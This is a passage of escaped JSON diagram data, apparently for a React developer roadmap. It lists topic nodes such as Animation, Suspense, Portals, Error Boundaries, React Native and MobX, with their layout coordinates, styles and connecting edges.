\"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 100.193201050423,\n        \"y\": 1429.4581550365865\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Zod\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation (Opinion)\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 150,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 150\n      },\n      \"positionAbsolute\": {\n        \"x\": 100.193201050423,\n        \"y\": 1429.4581550365865\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 150,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ydxyne6RzIDPHij1Z3CsN\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -288.02532545570534,\n        \"y\": 1511.8287356248509\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Advanced Topics\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 67,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 67\n      },\n      \"positionAbsolute\": {\n        \"x\": -288.02532545570534,\n        \"y\": 1511.8287356248509\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 67\n      }\n    },\n    {\n      \"id\": \"bRpeoo9zXrnZ2IHSI7JX4\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -517.08952699072,\n        \"y\": 1627.5845254232022\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Animation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_F3WMxhzaK9F8_-zHDDMF\"\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 170,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -517.08952699072,\n        \"y\": 1627.5845254232022\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SUeXDkmOLipdRP4fSrZOH\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -212.55356635764488,\n        \"y\": 1680.5845254232022\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Server APIs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_F3WMxhzaK9F8_-zHDDMF\"\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 178,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -212.55356635764488,\n        \"y\": 1680.5845254232022\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"H6-XGDjs4f-qbv13v5av0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -517.08952699072,\n        \"y\": 1711.5475484484205\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Framer Motion\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation (Opinion)\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 170\n      },\n      \"positionAbsolute\": {\n        \"x\": -517.08952699072,\n        \"y\": 1711.5475484484205\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WzoB5B6SdOI4Mzv6U51nY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -517.08952699072,\n        \"y\": 1764.5475484484205\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"react spring\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"y2dI1DVLWKAkv6VRpgaQa\",\n        \"legend\": {\n          \"id\": \"CRQCl3LvTj0sJWThSxjKu\",\n          \"label\": \"Alternative Option (Pick this or purple)\",\n          \"color\": \"#19a323\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 47,\n      \"style\": {\n        \"width\": 170,\n        \"height\": 47.4759521484375\n      },\n      \"positionAbsolute\": {\n        \"x\": -517.08952699072,\n        \"y\": 1764.5475484484205\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 47\n      }\n    },\n    {\n      \"id\": \"y2dI1DVLWKAkv6VRpgaQa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -517.08952699072,\n        \"y\": 1815.5475484484205\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GSock\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"CRQCl3LvTj0sJWThSxjKu\",\n          \"label\": \"Alternative Option (Pick this or purple)\",\n          \"color\": \"#19a323\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 47,\n      \"style\": {\n        \"width\": 170,\n        \"height\": 47.4759521484375\n      },\n      \"positionAbsolute\": {\n        \"x\": -517.08952699072,\n        \"y\": 1815.5475484484205\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 47\n      }\n    },\n    {\n      \"id\": \"_F3WMxhzaK9F8_-zHDDMF\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -212.55356635764488,\n        \"y\": 1733.5845254232022\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Suspense\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 178,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -212.55356635764488,\n        \"y\": 1733.5845254232022\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DcDggX4OmmwvJGHwuV86t\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -212.55356635764488,\n        \"y\": 1786.5845254232022\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Portals\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"txARr3lgTvy-vJCj5zAb1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 178\n      },\n      \"positionAbsolute\": {\n        \"x\": -212.55356635764488,\n        \"y\": 1786.5845254232022\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gMHMjsh0i8paLZUH5mDX3\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -212.55356635764488,\n        \"y\": 1627.5845254232022\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Error Boundaries\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 178\n      },\n      \"positionAbsolute\": {\n        \"x\": -212.55356635764488,\n        \"y\": 1627.5845254232022\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"txARr3lgTvy-vJCj5zAb1\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 73.99706098308326,\n        \"y\": 1786.5845254232022\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Mobile Applications\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 73.99706098308326,\n        \"y\": 1786.5845254232022\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NvXAq1vN2wpncdW-yTL4c\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 98.99706098308327,\n        \"y\": 1665.4067151287932\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"React Native\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation (Opinion)\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 146,\n      \"height\": 49,\n      \"style\": {},\n      \"focusable\": true,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 98.99706098308327,\n        \"y\": 1665.4067151287932\n      },\n      \"measured\": {\n        \"width\": 146,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5xCbPG6RMI0OEAI4aXKC7\",\n      \"type\": \"legend\",\n      \"position\": {\n        \"x\": -495.02532545570534,\n        \"y\": -210.78400721142515\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"legends\": [\n          {\n            \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n            \"color\": \"#874efe\",\n            \"label\": \"Personal Recommendation (Opinion)\"\n          },\n          {\n            \"id\": \"CRQCl3LvTj0sJWThSxjKu\",\n            \"label\": \"Alternative Option (Pick this or purple)\",\n            \"color\": \"#19a323\"\n          },\n          {\n            \"id\": \"7RoFat0sGCLmWuZwuBpKm\",\n            \"label\": \"Order in Roadmap not strict (Learn anytime)\",\n            \"color\": \"#9e9e9e\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"width\": 400,\n      \"height\": 124,\n      \"positionAbsolute\": {\n        \"x\": -495.02532545570534,\n        \"y\": -210.78400721142515\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 400,\n        \"height\": 124\n      }\n    },\n    {\n      \"id\": \"1kbrCI5JS0c9wbzxXpgFU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 82.693201050423,\n        \"y\": 632.9443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"MobX\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"10uL0r388lKh8pWYWqRZD\",\n        \"legend\": {\n          \"id\": \"CRQCl3LvTj0sJWThSxjKu\",\n          \"label\": \"Alternative Option (Pick this or purple)\",\n          \"color\": \"#19a323\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 127,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 127,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 82.693201050423,\n        \"y\": 632.9443302389855\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 127,\n        \"height\": 49\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"M0aRyhxjzTWUOW95D1g1y\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"Xw4lLz2zWuTkNu8r4oheF\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"mbCXMk97_HKXG3d4TxBOC\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"XDvH2t3AJGevS17uM8TO6\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-iogwMmOvub2ZF4zgg6WyFx2-XDvH2t3AJGevS17uM8TO6w1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"tU4Umtnfu01t9gLlnlK6b\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"y9ToYDix-koRbR6FLydFw\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-tU4Umtnfu01t9gLlnlK6bz2-y9ToYDix-koRbR6FLydFwy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"XDvH2t3AJGevS17uM8TO6\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"tU4Umtnfu01t9gLlnlK6b\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-XDvH2t3AJGevS17uM8TO6x2-tU4Umtnfu01t9gLlnlK6bw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"79K4xgljcoSHkCYI1D55O\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"8mw4TxlLN4ZKAlLl-_NVV\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-0uiGsC5SWavNdlFqizkKey2-8mw4TxlLN4ZKAlLl-_NVVz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"tU4Umtnfu01t9gLlnlK6b\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"79K4xgljcoSHkCYI1D55O\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-tU4Umtnfu01t9gLlnlK6bx2-0uiGsC5SWavNdlFqizkKew2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"79K4xgljcoSHkCYI1D55O\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"0uiGsC5SWavNdlFqizkKe\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-79K4xgljcoSHkCYI1D55Oz2-0uiGsC5SWavNdlFqizkKey2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"0uiGsC5SWavNdlFqizkKe\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"LbLQhonBqzxHU6B-L--Vq\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"id\": \"reactflow__edge-0uiGsC5SWavNdlFqizkKey2-thfnymb_UIiKxakKfiua5z1\"\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LbLQhonBqzxHU6B-L--Vq\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"HX75SExuzR5AP7TQ94qid\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-thfnymb_UIiKxakKfiua5y2-HX75SExuzR5AP7TQ94qidz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LbLQhonBqzxHU6B-L--Vq\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"mkyU0ug8MXxV4biHuOity\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-thfnymb_UIiKxakKfiua5y2-mkyU0ug8MXxV4biHuOityz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LbLQhonBqzxHU6B-L--Vq\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"NStw6bi_pPB49K41BFSgo\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-LbLQhonBqzxHU6B-L--Vqz2-thfnymb_UIiKxakKfiua5y1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NStw6bi_pPB49K41BFSgo\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"jvp43wFkKlGQX2y7IxkbM\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-thfnymb_UIiKxakKfiua5x2-jvp43wFkKlGQX2y7IxkbMw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NStw6bi_pPB49K41BFSgo\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"I7_mX4h-Yywp1YyTJRKXI\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-NStw6bi_pPB49K41BFSgoy2-thfnymb_UIiKxakKfiua5z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"I7_mX4h-Yywp1YyTJRKXI\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"yI6XiNW04EL78UL4lkVgd\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-thfnymb_UIiKxakKfiua5w2-yI6XiNW04EL78UL4lkVgdx1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KO3viVIJJREtxXxsocN7j\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"DfrCkbD-HEHwLymv10zb5\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-akVNUPOqaTXaSHoQFlkP_x2-DfrCkbD-HEHwLymv10zb5w2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"I7_mX4h-Yywp1YyTJRKXI\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"DfrCkbD-HEHwLymv10zb5\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-I7_mX4h-Yywp1YyTJRKXIy2-DfrCkbD-HEHwLymv10zb5z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"DfrCkbD-HEHwLymv10zb5\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"thfnymb_UIiKxakKfiua5\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-DfrCkbD-HEHwLymv10zb5y2-thfnymb_UIiKxakKfiua5z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"MnDgQq9Vcxsu3wDqv5uh2\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"XL9XOV2h0BAuA5cFcM5L_\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-MnDgQq9Vcxsu3wDqv5uh2z2-XL9XOV2h0BAuA5cFcM5L_y1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"MnDgQq9Vcxsu3wDqv5uh2\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"RvDfKoa_HIW3QDBfkPv3m\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-MnDgQq9Vcxsu3wDqv5uh2z2-RvDfKoa_HIW3QDBfkPv3my1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"MnDgQq9Vcxsu3wDqv5uh2\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"kiCTo0U6VgNON8rv_Ktlj\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-MnDgQq9Vcxsu3wDqv5uh2z2-kiCTo0U6VgNON8rv_Ktljy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"MnDgQq9Vcxsu3wDqv5uh2\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"b4AP2OggxFAwsQtUwiUJJ\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-MnDgQq9Vcxsu3wDqv5uh2x2-nK1DhEXBKVhvSR1P_vzgjy2\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"b4AP2OggxFAwsQtUwiUJJ\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"-AKmITUmSGIflJG-eGkm5\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-nK1DhEXBKVhvSR1P_vzgjx2--AKmITUmSGIflJG-eGkm5w1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"b4AP2OggxFAwsQtUwiUJJ\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"e_lwZ-a72-tAan2KDX6k3\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-b4AP2OggxFAwsQtUwiUJJz2-nK1DhEXBKVhvSR1P_vzgjy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"e_lwZ-a72-tAan2KDX6k3\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"cQllxv7qGbRtM9O5llgN6\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-nK1DhEXBKVhvSR1P_vzgjw2-cQllxv7qGbRtM9O5llgN6x1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": 